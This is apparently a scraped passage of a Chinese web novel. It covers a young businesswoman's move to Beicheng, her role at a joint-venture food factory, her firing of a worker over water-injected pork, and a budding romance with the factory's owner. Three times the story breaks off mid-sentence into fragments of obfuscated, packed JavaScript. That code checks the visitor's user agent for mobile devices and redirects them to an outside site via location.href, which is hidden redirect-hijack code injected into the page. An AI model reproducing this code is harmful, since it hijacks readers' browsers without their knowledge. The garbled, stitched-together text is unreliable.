她把杨总原来准备在安平县建的食品厂,给忽悠到了北城市,那么牛角岭大队的养殖基地也泡汤了,俗话说,夺人财路,如杀人父母,这仇结大了,就算有支书一家护着,她也不敢留在牛角岭大队了。 虽然逃跑有些怂,但小命要紧。 但是没有想到她竟然跟县卫生局的人一起到了牛角岭大队,他们是来找支书帮忙说和的,今天他们局长被县长叫去一顿臭骂。 局长回来把他们一顿臭骂,并且要求他们要认真诚恳地道歉,征求林沐瑶同志的原谅,如果林沐瑶不原谅他们,他们也甭在卫生局杵着了。 他们哪里敢耽搁,先到纺织厂打听林沐瑶的消息,得出她跟牛角岭大队支书一家很是要好,也很尊重支书,有什么挣钱买卖,也总是拉着支书一家一起干。 比起软硬不吃的林沐瑶,支书作为党员干部,更有大局观,肯定会帮你说服林沐瑶,让食品厂留在安平县。 这次卫生局的人里面,就有上次去食堂鸡蛋里挑骨头的人,林沐瑶不用猜也能够知道他们来干啥,肯定是想说服支书来给她施压。 她冷笑一声,他们恐怕打错算盘了,她林沐瑶是个心眼小,爱记仇的人,欺负她欺负得那么狠,一句顾全大局,就让她咽下委屈,说破大天来,也没这样的理。 好在卫生局的人没看见她,她也懒地去支书家里,听人跟她讲大道理,有那功夫,还不如回家歇一歇,再来收拾搬家的事。 回家后,她先是洗漱了一番,做了点东西吃了,又躺炕上休息了一会儿,这才起身收拾,先把衣服全部拿出来,再把家里的一些常用物件集中在一起,搬家的时候好搬,忙得跟一个小蜜蜂一样。 “砰砰砰!” 敲门声响起,她直起腰来,用袖子擦了擦汗水,叹口气,有些事还真躲不过去。 她起身开门,门外站着的果不其然就是支书,还有卫生局的几个人,支书脸色凝重,几个卫生局的人倒是看不出什么,但他们看到林沐瑶,均露出了和善的微笑。 “支书爷爷,几位同志,里面请。” 林沐瑶伸手邀请。 支书抬腿走了进去,林沐瑶拿起水杯给他还有几位卫生局的人都倒上了热水,然后支书才问了食品厂的事。 林沐瑶把跟姬县长说的那一番道理又说了一遍,“我纯粹是为了工厂考虑。” 支书也跟她合作了一阵子生意,自然知道林沐瑶的性格,他没好气地问:“你确定你不是记仇?” 林沐瑶眨巴无辜的大眼睛,问:“支书爷爷,我在您心里就是这种人吗?” “哼!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14131597|147244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 支书冷哼一声,没有直说,算是全了她的面子。 但林沐瑶不会因此心软,她继续道:“做决定的是杨总,我虽然占了一些股份,但只有建议权,没有决定权,我真的无能为力。” 反正就是一句话,绝对不会改变主意的。 卫生局的人忍不住,开始劝,“林沐瑶同志,你是安平县人,请你先考虑考虑自己的家乡。” 林沐瑶幽幽地叹口气,“我曾经也一腔热情建设家乡,但是却遭受了无情的背叛。” 这事看来还没有过去,卫生局的人和支书面面相觑,找不到任何办法,最后只能失望地离开。 林沐瑶站在院子里,吹着刺骨北风,看着天上圆月,一种孤寂感油然而生,来到这个世界,她一刻不敢停歇,不是在搞钱,就是在搞钱的路上,没时间交朋友,更没心情恋爱。 支书一家是她最相熟的,如今也要闹掰了吗? “唉!” 天下没有不散的筵席,人的适应能力超乎想象,又要去适应新的环境,结识新的人,心头有些沉重罢了。 “瑶丫头。” 李萍和王春花敲门,她走过去开门,李萍一进来,就抓住林沐瑶的手,道:“你甭听老头子瞎叨叨,说是道歉,咱们停业整顿两天的损失提也不提,空口白牙地几句话,就要咱们揭过去,给他们圆场子,说破大天来也没有这样的道理。” 林沐瑶心微暖,说道:“谢谢李奶奶,我还以为你们都生我的气了呢。” “生啥气。” 王春花嗔怪道:“你又没做错,我们干啥生气。” 她也气,受了窝囊气,又白白损失了两天的钱,却还要求他们让步,凭什么! 有了她们俩人的安慰,林沐瑶的心情好了很多,然后就说了准备搬去北城市住的事,“离开这里,省得他们找麻烦,也能够离我爹妈远一些,我懒地应付他们。” “那食堂咋办?” 王春花赶紧问。 虽然他们如今自己也能把食堂运转好,但林沐瑶不在,他们就少了主心骨,心头有些发慌。 林沐瑶笑着道:“我就在北城市,并不算远,有事直接去找我就是。” 王春花这才松了口气,她和李萍俩人陪着林沐瑶又说了会儿话,林沐瑶把新房子托付给他们照顾后,她们拍着胸膛保证,“我们保证照顾好。” 林沐瑶在新家住了一晚上,第二天就带着行李,坐着林守卫的骡车离开了牛角岭大队,同时也要离开安平县。 而安平县表面平静,但工商局和卫生局多名干部被请去喝茶,因为严打还没有结束,这些干部又是知法犯法,判刑从重。 两个单位多了很多新面孔,普通群众没啥感觉,但公家单位的人却心有戚戚,同时也给自己警醒,只自己兢兢业业为人民服务不够,还要约束好家人,不能让他们仗着自己名头在外胡来。 林沐瑶带来的安平县领导班子地震还在蔓延,安平县的一二把手都铁了心要整顿安平县领导班子,就怕食品厂的事重演。 而林沐瑶此刻却是双喜临门,食品厂还是合资,北城市政府非常大方,把本市的一效益不好的食品厂,直接拨给了他们,省去了他们盖厂房的精力。 但也有条件,要他们接收食品厂的工人,这些经过一番谈判,最终决定提高待遇,但凭能力上岗,也就是能者上。 有厂房,有工人,有机器,生产原材料暂且从外采购,所以食品厂开工在即,目前最要紧还有一件事,那就是重新选择养殖基地,林沐瑶忙得连牛仔裤,都没有时间去卖。 就在如此忙碌的时候,她收到了靳嘉的信,得知她以原主和罗森以及她为原型的小说,就要发表了,不禁喜上眉梢。 挣钱的愿望也更加迫切了,她还要把写小说拍成电视剧和电影,让罗森成为渣男的代名词。 那么就从小商品批发城开始,等养殖基地选好,她就跟杨志彬重新谈判。 38. 杀鸡儆猴 杨记食品厂开业典礼,林沐瑶作为二股东自然要参加剪彩的,她没什么朋友,便邀请了支书一家和方正一家。 李萍见林沐瑶一身卡其色的呢子大衣,里面套了一件高领白毛衣,黑色的阔腿西装裤,棕色的羊皮小皮鞋。 一身打扮洋气又保暖,再加上林沐瑶本就十分漂亮,利落的短发,白皙的皮肤,妩媚的狐狸眼,她不懂什么风情,但却知道林沐瑶的一举一动抓人眼球得很呢,反正她的眼睛珠子一直黏在她身上。 她激动地握着林沐瑶的手,感慨道:“瑶丫头,你算是熬出来了。” 林沐瑶的狐狸眼嗔怪地看了眼李萍,笑着道:“李奶奶,怎么能说熬呢,能有今天,全是一手一脚挣来的,我非常享受这个过程,并不觉得是熬,反而认为那是对我的历练,让我成为更好的自己。” 李萍听着云里雾里,这文绉绉的话她只能够听一个大概意思,拍了下林沐瑶的胳膊,横她一眼,道:“才来北城市几天,说话就开始拿腔作调了。” “李大娘,林妹子能够说出这一番话,心胸是真豁达。” 方正在一旁听了这番话后,走过来赞叹。 他如今是真佩服林沐瑶,犹记得才开始认识林沐瑶的时候,整一个面黄枯瘦的村姑,除了一双眼睛闪烁着神采,浑身上下灰朴朴的,哪里想到才多长时间,变成一个明艳照人的大美人不说,还拼出了成万的身家。 支书则在一旁复杂地看向林沐瑶,他们大队最出息的孩子,也最有能耐拉拔他们大队脱贫致富的孩子,却被自己大队的社员作地寒了心。 但作为牛角岭大队的支书,他打心底还是希望牛角岭大队能够脱贫致富,社员们能够过上好日子。 他走到林沐瑶身边,压抑着愧疚,问:“瑶丫头,咱们大队离北城市也不算远,路也平坦方便,真的没机会做养殖基地了吗?” 林沐瑶摇了摇头,“牛角岭大队再近,还能近得过北城市附近的农村,不是运输方便就成了的,我们食品厂还得定期抽查养殖的家畜家禽的健康情况,另外也会不定期地派技术员去做技术指导,距离近了,也方便厂里管理。” 支书越听脸色越黑,他才问了一句,林沐瑶就给他说了一大通的道理,虽然知道林沐瑶是被社员伤了心,但不得不说这丫头气性也忒大了,一竿子打死了所有人。 李萍看到这边的情景后,赶紧过来把林沐瑶拉一边,狠狠地瞪了眼支书,这才一副看着林沐瑶,说道:“瑶丫头,甭搭理这个拎不清的死老头子,他心里头总想着大队社员,也不想想他们当初是怎么欺负我们的,当初要不是杨总,现在就该我们哭了。” 她边说边拿眼睛刀支书,这个死老头子,她在家时就千叮咛万嘱咐不要跟瑶丫头提养殖基地的事,不提瑶丫头乐意不乐意帮忙,她就第一个不乐意,那两天她愁得睡不着,吃不下的时候,可没有人心疼她。 不仅如此,竟然还有人到她面前说风凉话,说什么肯定是他们家就不该跟着瑶丫头搭伙做生意,瑶丫头长得妖精一样,那么短的时间里,就积累了丰厚身家,还搭上了杨家后人,肯定用了见不得人的手段。 如今肯定是老杨家后人腻烦她了,不管她了,要收走她手上所有的财路。 好家伙,说的有鼻子有眼的,要不是瑶丫头做买卖的时候,他们一家一直跟着,她还有些相信了。 这诋毁名誉是一回事,另外就是加工衣裳的活儿停了,养殖基地的事也泡汤了,牛角岭大队一下子失去了两个来钱路子,牛角岭大队社员的失望可想而知。 特别是这两个来钱路子都跟林沐瑶有关系,林沐瑶还记仇,不打算原谅他们,他们自然记恨起了林沐瑶。 林沐瑶离开了牛角岭大队,他们找不到她出气,除了到处诋毁她名声之外,就是拿她的新房子出气。 把家里的垃圾堆满了林沐瑶家房子的门口,还往她家门上泼大粪,反正怎么埋汰怎么来,就是老头子出面,也不管用,她只能支使俩儿子见天地帮忙收拾。 大队的社员这么对瑶丫头,还想让她给大队社员财路,他想啥美事呢,就是瑶丫头答应,她都不答应。 她拽着林沐瑶把大队里发生的事都跟她讲了,林沐瑶眼里闪现寒光,看来牛角岭大队回不去了。 虽然有些失落,但并不多,毕竟她一个异世人,在这个时空没家乡,拿到主意后,她便开口问:“李奶奶,我那套房子是新盖的,盖的时候您也全程看着,用料绝对结实,而且房子我也统共也没住几天,守正叔马上也要结婚了,如果您能看上那套房子,给我一个成本价就成。” 李萍震惊了,问:“你要卖房子,真不打算回牛角岭大队了?” 林沐瑶却笑着道:“短时间内不想回去了,就算想回去,也不会长住,顶多住一两天,李奶奶,到时候我住您家可好。” “咋不好,李奶奶家也是你家,你想住几天就住几天。” 李萍拍着胸膛保证,但声音里却带上了哽咽,这孩子是彻底对老家人寒心了,要不然也不会卖房子,不给自己留后路。 她再次用眼刀子刮了眼支书,逼迫林沐瑶的人里有那个拎不清的老头子。 “瑶丫头,跟你说个事。” 王春花看了会儿开工仪式的热闹,便过来跟林沐瑶分享好事,是安平县那几个欺负他们的干部。 这些干部为了一己私利欺负他们,结果没有想到把安平县的投资给搅黄了,最后迎来了安平县领导班子大换血,他们也因为违规违纪被剔除出干部队伍,还被送去了劳改。 但这件事没完,安平县的人得知因为他们的缘故,少了一个工厂,让他们少了工作机会,便开始针对他们的家人。 他们的家人出门会被翻白眼,他们的孩子还会被其他小朋友孤立,被小朋友吐口水,甚至有的小朋友还会朝着他们扔石头子。 林沐瑶虽然心里畅快,但到底还有些良心,抿了抿唇,道:“祸不及家人,他们这么做过了。” 王春花翻了个大白眼,“你还替他们说话,忘记他们怎么针对咱们了?” 林沐瑶笑了笑,没有搭茬,其实她也挺虚伪的,虽然同情这些被殃及的无辜人,但并不准备做什么,她也就是嘴上善良而已。 几人叙了会儿旧,剪彩仪式正式开始,先是市长讲话,接着是杨总,然后就是林沐瑶,林沐瑶也没有别出心裁地出风头,照着前两位的说话内容讲了两句,对比前面两位,她就是一小虾米,就算两位心胸豁达,不在乎被她抢风头,但她不能没眼色不是。 但就算如此,她还是因为出众的样貌出了风头,围观的群众窃窃私语,“这个二股东这么年轻漂亮啊。” “她的衣裳真好看,是从国外买的吗?” “她不是外国人,是咱们北城市的。” “那她咋成老板了?” 有清楚内幕的开始解惑,“听说咱们这个食品厂的秘方是她的。” 大家伙此刻看林沐瑶的眼神变了,年轻漂亮有钱还有手艺,这样的女同志简直太让人着迷了。 有那有想法的小伙子以及家有适龄男青年的大妈,便开始打听林沐瑶的个人问题。 这些且不说,就说剪彩仪式后,市里来的领导离开后,厂里干部便开始开会,第一安排生产,从原材料到生产再到销售,甚至连养殖基地都计划上了。 杨志彬跟林沐瑶沟通过厂里的问题,林沐瑶的一些想法比他还要妥当,因此会上他点了林沐瑶来发言,林沐瑶也不扭捏,大大方方地把她的想法说了出来。 “原材料一定要新鲜健康,要做到采购员和采购的货物挂钩,做到责任到人,如果采购员采购到了有问题的原材料,要拟定惩罚措施,这样能够督促他们在采购原材料的时候更加用心,避免给厂里造成损失。” “另外就是生产过程,必须要保证质量的同时,严格把控卫生,我们做食品的,味道和卫生一样重要。” “再就是销售,现在的年代信息传播多样化,酒香不怕巷子深的观念必须改一改,我们要做好营销,要第一时间让全华国,甚至全世界都知道我们杨氏食品厂的产品,宣传部要尽快做出营销方案。” 食品厂的干部们看林沐瑶的眼神都一样了,原先他们以为林沐瑶能够当上股东,除了运气好之外,说不定还跟她年轻漂亮有关系。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14144852|147244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 职场上的女同志就这般艰难,特别是漂亮的女同志,没能力,会被人说花瓶,靠能力超过一些人了,总是会被人忽略能力,认为是靠不正当手段上位。 好在林沐瑶不是刚入职场的新人,她上辈子在职场上早就练就了强大的内心,根本不怕这些人的诋毁,他们的诋毁只会成为她努力向上的动力。 接着又有几个干部汇报了各自负责的工作,以及遇到的问题,这些都有季晖处理,杨志彬和林沐瑶负责听。 最后杨志彬总结性发言:“按照林副总刚才说的方案做,我们厂不会亏待任何一个为工厂做出贡献,以及认真工作的员工的。” 等散会后,其他部门的干部都离开了,唯独宣传部的人竟然还在。 季晖看着宣传部的主管邹鹏,问:“你们还有事?” 邹鹏面带苦色地点了点头,道:“季助理,我们以前一直做内宣,主要宣传国家和党的政策,以及办一些娱乐活动,丰富工人们的业余生活,可这营销,要对外宣传,我们真的不懂。” 季晖皱眉,宣传部的干部大多数都是来自原先食品厂的人,听原来的厂长夸过几回工作能力,结果到了紧要关头却给他掉链子。 他看向杨总,杨总还是那副淡淡的表情,但他的眼神却是看向了林沐瑶,他秒懂,这是想要推给林沐瑶林副总。 是的,林副总,这是杨志彬给她安的职位,先开始林沐瑶不想干,对于食品厂,她只想拿分红,不想劳心劳力,她的时间得用在搞钱上,牛仔裤布料配额还有,她打算再次把牛仔裤加工给做起来,虽然先前遇到了一点小波折,但牛仔裤太挣钱了,她舍不得停下。 但杨志彬说“食品厂刚开工,工人大都是公家厂子过来的,带着一身公家厂的毛病,需要林同志盯一段时间,让他们适应了私人工厂的节奏。” 最后他还反问了一句,“想要拿分红,也得厂子运转正常不是?” 林沐瑶能怎么办,杨志彬帮她良多,好不容易她能够帮上忙,她还真不能撂挑子,只能够接下林副总的职位。 杨志彬此刻就好整以暇地看着林沐瑶,他想要看看林沐瑶到底会拿出什么营销方案,他真的很好奇。 “首先在北城市、省城、京城、海城等地的报纸上刊登广告,我们要把杨氏食品厂广而告之,另外马上就要春节了,听说今年要举报春节联欢晚会,我们争取赞助之外,再争取几组相声演员和小品演员,让他们表演节目的时候,把我们杨氏的火腿肠给捎带上。” “再就是印刷海报,在各大城市的火车站、汽车站张贴。” “另外买些布,做成椅套,印上我们杨氏食品厂的广告,免费送给长短途汽车,以及路过北城市的火车。” 她一条条的说,宣传部的人一条条的记录,林副总的点子真是层出不穷,给他们打开了新世界的大门。 杨志彬看着林沐瑶眸光渐深,那种神秘感又来了,他总感觉林沐瑶浑身上下全是秘密,让他忍不住去探究。 “林副总,可否赏脸一起吃个便饭?” 杨志彬说完,心头一阵诧异,他下午要去京城,时间紧,他原定计划要休息几分钟的,可如今既然邀请林沐瑶吃饭,他皱眉,总感觉有种东西失控了,他讨厌这样的感觉。 因此吃饭的时候沉默寡言,林沐瑶皱眉,这是什么情况,明明是他邀请她吃饭,但是饭桌上却沉默,就是她提起的小商品批发城,他也不搭茬。 一顿饭在沉默的环境中结束,林沐瑶吃的有些消化不良,不过这些不重要,现在最重要的是赶紧让食品厂走上正轨。 生产方面有原来的干部负责,她只需要把控方向就好,她最重要的是营销,因为我们杨总不缺钱,所以轰轰烈烈的营销开始了。 报纸、电台、火车站、人流多的街道,还有汽车火车,但凡人多的地方,就有杨氏火腿肠的广告。 营销的效果还是很明显的,杨氏食品厂的订单雪花一样飞来,工人们第一次直观地看到了林副总的能耐。 但这也不妨碍厂里的一些人出幺蛾子,林沐瑶叹口气,她其实更想做一个善良的领导,但是有的人非要做杀鸡儆猴的那只鸡。 39. 杨志彬动心 这天林沐瑶正在查看这两天的财务报表,她的秘书小张慌慌张张地跑了过来,说道:“林副总,刚才生产部过来报告,仓库给他们的猪肉是注水的,无法使用。” 林沐瑶皱眉头,问:“可有查清楚是采购部的责任,还是仓库的责任?” 小张:“还没有调查。” 林沐瑶头疼,绷起小脸儿,严肃道:“那就去调查,查清楚了,按照厂规处罚。” “真要开除吗?” 小张抿了抿唇,问:“这处罚是不是太重了?工人背后都是一大家子人呢。” 林沐瑶冷笑:“那跟咱们工厂有关系吗?工厂雇佣他们是来干活,给工厂创造利润的,既然不能创造利润,还让工厂有亏损,干什么留这样的员工?” 小张没有想到林沐瑶会说出这样的话来,他愣住了,忍不住问:“可也不能一个改过的机会也不给他吧?” “那他给厂里造成的损失谁来赔?” 林沐瑶又问:“你吗?” 小张摇头,他今年刚高中毕业,没有考上大学,公家的厂子又进不去,家里条件也不好,养不起吃白饭的,他便来了杨氏食品厂,因为有文化才做了林沐瑶的助理,工资都还没有领过呢,哪里有钱赔? “可厂里这么不近人情,跟剥削人的资本家有什么区别?” 他没忍住又反问了一句。 林沐瑶挑了挑眉,笑着道:“杨氏食品厂的杨,可是漂亮国的杨家,他们还真是资本家。” 小张张了张嘴,几次想说话,但却又不知道该说什么。 林沐瑶没理会他,直接去了生产车间,到了就听到有人在嚷嚷,“我们送你手里的时候肉好好的,你们也签字收了的,怎么现在就是注水肉了?肯定是你们自己作假。” “放你娘的屁,老子接收了肉,就没有动过。” “反正我们是把好肉交给了你们的,出了事,也是你们的责任。” 采购部的人和仓库的人互相推诿责任,谁也不想被罚,争得脸红脖子粗的,都有动手的倾向了。 林沐瑶拿眼睛看向了小张,小张眼睛盯着前面的闹剧跺脚,林沐瑶叹口气,看来她的秘书还需要历练啊。 秘书领会不了她的心思,她只能自己找了一个工人,“大喊几声,让他们住手。” 工人也听话,赶紧扯开嗓门,大声喊:“住手!别吵吵了,林副总来了。” 吵嚷的人停下,看向了林沐瑶,林沐瑶清了清嗓子,绷着小脸儿,问:“都不干活,在这看热闹,订单如果延期,扣你们工资。” 看热闹的工人顿时作鸟兽散,看热闹重要,钞票更重要。 林沐瑶这才处理注水猪肉的事儿,冷着脸道:“我不管猪肉是送到仓库前就注水了,还是在仓库注水的,我只知道从仓库拿出来的猪肉是注水的,仓库的人要负责任。” “可是我们没给猪肉注水。” 仓库的人赶紧分辩。 但林沐瑶却道:“跟我解释没用,猪肉既然仓库的人签了字,那么猪肉先前怎样的,就跟其他人没关系了,是好是坏都是仓库的责任。” 仓库签字的人张涛不服气,“我不服,我要找厂长,厂长不管,我就找工会。” 林沐瑶冷笑,“随便你找谁,厂规白纸黑字写的清清楚楚,工作不认真,就得受处罚。” 说完就通知人事处,打算开除人,张涛先是哀求她给机会,什么家里困难啊,什么不能没有这份工作啊。 就是留在这里的工人也跟着求情,“林副总,张涛父母身体不好,孩子还小,家庭困难,真的很需要这份工作。” “厂有厂规,违反了,就得接受处罚,家庭困难不是他逃避处罚的借口。” 林沐瑶冷冷地开口。 张涛怒了,嚷嚷道:“我要去工会告你,无缘无故开除工人。” 林沐瑶不怕,非常淡定地道:“随你。” 然后再次申明了一点,“我们厂虽然是合资企业,但本质上是私人企业,厂长是资本家出身,从漂亮国回来办厂,可不是为了做善事。” 张涛见自己被开除已经是板上钉钉,一个三十来岁的大男人放声大哭,他悔啊,他后悔没有认真工作,谁能想到工厂的厂规里,说开除人是真开除啊。 而等厂里的大喇叭,以及宣传栏里公布了对张涛的处罚后,食品厂的工人心有戚戚,他们到现在终于有了一个认识,现在的工厂是私人的,说开除人就开除人。 不像以前的工厂,就算犯了错误,只要不是特别严重,一番教育检讨后,只要改正,就还是厂里的好工人。 私人工厂呢,只要你损害了工厂利益,立马开除,还要追究责任。 “还是社会主义工厂好。” 这是食品厂工人共同的心声。 如果再给他们一个机会他们绝对不消极怠工,一定兢兢业业工作,私人企业的工人太没有安全感了,得时刻绷紧了神经,一个不好就会被开除。 再说张涛失魂落魄地回到家里,正是中午时间,小巷子里饭菜飘香,但是他们家却冷锅冷灶,他刚打开门,家里俩孩子就跑了过来,道:“爸,家里没钱买米了,妈妈这个月的工资又没发。” 张涛顿时觉得天塌了,上有老下有小,他被开除,妻子虽然有工作,但发不了工资,这是天要绝他们家啊。 一个大男人往地上一蹲,抱着头开哭,他妻子听到声音从屋里出来,听说他被开除后,先是数落了一通,“你上班俩眼睛吹灯的啊,现在好了,一大家子喝西北风吧。” 然后便跟张涛一起抱头痛哭,这日子没法过了。 “请问这是张涛家吗?” 一道陌生的声音响起,两口子赶紧擦干了眼泪,张涛看向来人,问:“我是张涛,可我不认识你。” 方正看向他,说道:“我是你们厂林副总派来的,她托我给你找个活儿干。” 张涛死寂的心终于回暖,忙问:“什么活儿?” 方正说道:“跟我一起当小贩,不比你在厂里挣得少,你要是嫌弃,当我没说。” 家里的情况哪里容得张涛嫌弃,最重要的是先让家里能够吃上饭,他向方正预约了一个月工资,家里才没有断顿。 而经年后,他家已经成为小康之家,住着新房,还有一辆摩托车代步,不由感慨人生际遇,更加感谢林沐瑶,是她救了他。 不过林沐瑶的头上仍然扣着一顶铁石心肠的帽子,工人们私底下感慨,“林副总还是咱们本地人呢,剥削起人来比资本家还狠。” “谁说不是呢,水灵灵的一个小姑娘,看以后谁敢娶。” “你们怕不知道吧,她结过婚,但后来她男人考上了大学,把她给甩了。” “她那么狠毒,是个男人都受不了。” 这些小话林沐瑶都清楚,但她从来不放心上,有那计较的时间还不如搞钱呢。 因为开除了张涛,全食品厂工人对待工作认真了不少,原先偷懒磨洋工的人现在也努力工作了。 不努力就开除,谁受得了这个。 杨志彬再次回来,看着食品厂的报表,订单从来都是提前完成,没有出现过延期的,而且订单量多得都能够跟牛仔布料厂媲美了,工人们都得三班倒。 他眼含赞许地看向林沐瑶,说道:“林副总,辛苦了。” “食品厂也有我的一份,不敢说辛苦。” 林沐瑶谦虚道。 但等她说完,就看到了桌子上放了一块女士手表,不像她手腕上带的电子表,是一块机械表,还是世界名表劳力士。 她目光灼灼地看着,话说她如今也算有点身家了,要不要给自己整一块名表带带,这牌子的表是保值的。 大概是她的目光太灼热,杨志彬竟然领会到了她的渴求,从桌子上拿起那块女士的劳力士手表,往她眼前一递,道:“新年礼物!” 林沐瑶忍着不舍,推拒,“杨总,这太贵重了,我不能收。” 杨志彬坚持给,还说了一个很好的理由,“你值得,算是你的年终奖。” 林沐瑶眼前一亮,赶紧双手接了过来,“谢谢杨总。” “我以为我们是朋友了,一直称呼职务不妥当。” 杨志彬冷不丁地来了这么一句,林沐瑶有些纳闷,今天的杨总有些不正常呢,但她也说不上来哪里不正常。 不过大佬愿意跟她做朋友,她自然乐意得很,弯眉一笑,问:“那应该怎么称呼?” 杨志彬启唇,淡声道:“叫我阿哲,我的小名。” 林沐瑶从善如流,“阿哲,你可以叫我沐瑶。” 杨志彬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14168662|147244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“沐瑶。” 虽然语气还是没有起伏,但林沐瑶听着却耳根子发烧,她暗自唾弃自己,没有想到自己竟然是颜控,不过杨总虽然男色误人,但俩人差距很大,比华国到漂亮国的距离还要远。 而杨志彬仿佛没有看到她的窘迫,继续说工作上的事情,“沐瑶,你上次说的那个小商品批发城,我的团队已经考察过了,但实施起来,困难颇多。” 这话肯定是要压价了,林沐瑶反问:“所以呢?” “你不用投资,还是用方案入股,但只能占比10%。” 杨志彬说了他们团队商量出来的结果。 其实团队里的人最多给5%,是他帮忙争取到了10%,他总感觉林沐瑶会给他带来更多的惊喜,他想用股份套牢她。 另外他发现自己竟然有些喜欢林沐瑶,喜欢她层出不穷的好点子,更喜欢她身上那股子不服输的韧劲。 但他们杨家也算是世家,他作为杨家人妻子人选,虽然不用像其他世家那样得联姻,但是妻子定不能是一穷二白,什么都没有的人,甭提林沐瑶还有过一段婚姻。 所以他想要在力所能及的范围内扶持林沐瑶,让她一步步地积累实力。 但林沐瑶显然不满意,“我如果投资呢?” 她加工牛仔裤的摊子,找了方正合作,再有食堂的收入,以及食品厂的分红,她一个月大概能够到手小一万块。 然后再拿着她食品厂的股份再去银行贷一些款,总能再占几个百分点的股份。 杨志彬却拒绝了,“我们杨氏不缺钱投资。” 不缺钱,这是世界上最招人恨的三个字,她咬牙切齿得恨,她什么时候也能这么凡尔赛啊,她不怕招人恨。 “一点商量的余地都没有了吗?” 她不想放弃,做着最后的争取。 “你投资5万元,增加5个百分点,仅限于平原省的小商品批发城。” 杨志彬最后心软了,退了一步。 闻言,林沐瑶震惊了,5万才仅仅能够拿到平原省的股份,看来杨氏很看重这个项目,她有些后悔了,咋整? 但事情已然这样,她只能往前看,等她积累了身家,到了二十一世纪,她就进军互联网,到时候她自己拿大头。 “后天我的律师过来后,咱们签合同。” 杨志彬见她没意见,便一锤定音。 林沐瑶没意见,答应道:“好。” 说了工作上的事,时间来到了中午,杨志彬再次邀约,“沐瑶,可有空,一起吃个便饭?” 虽然心动,但他并不了解林沐瑶,自然想要多多地了解她,想要了解,就得多多相处,自然而然地就邀约她吃饭。 林沐瑶没拒绝,关于小商品批发城,她还想争取一些权益。 而就在他们共进午餐的时候,靳嘉写的小说发表了,因为小说序言里写了小说来源于真实生活,发生的事情都是真实的,读小说的人便纷纷化身神探,开始寻找铿锵玫瑰林沐瑶,渣男罗森。 林沐瑶还好,得知她跟小说里一样自强自立,闯出了属于自己的一番事业,大家都为她高兴。 但渣男罗森就倒霉了,本来他一个大学生被发配到仓库就够惨了,因为这个小说,旧事又被翻了出来,他再次遭受道德的审判。 这次不是百货大楼的领导了而是社会上有正义感的群众,他们跑到百货大楼冲着罗森破口大骂,并且倡议百货大楼开除罗森。 百货大楼领导先开始还说:“罗森同志并没有重大失误,不予开除。” 后来一波又一波的人到百货大楼抗议,百货大楼终于扛不住了,开除了罗森。 罗森感觉天都塌了,他名声坏了,工作也丢了,他一个大学生竟然混成现在这副模样,家里人不理解,排挤,白眼,甚至还有辱骂,街坊邻居见他更是见了跟瘟神一样。 他愁得头发大把大把地掉,甚至一度害怕出门,害怕跟人接触,但他没有足够的经济支撑他活在自己的世界里,他只能出去找工作。 可他一个大学生,天之骄子,竟然连私企都不接收他,无他,因为小说的发表范围就在海城,他们都知道他的事。 他没办法,只能离开了海城,听说鹏城那边外企多,他们只看能力,他收拾了两件行李,坐上了去鹏城的火车。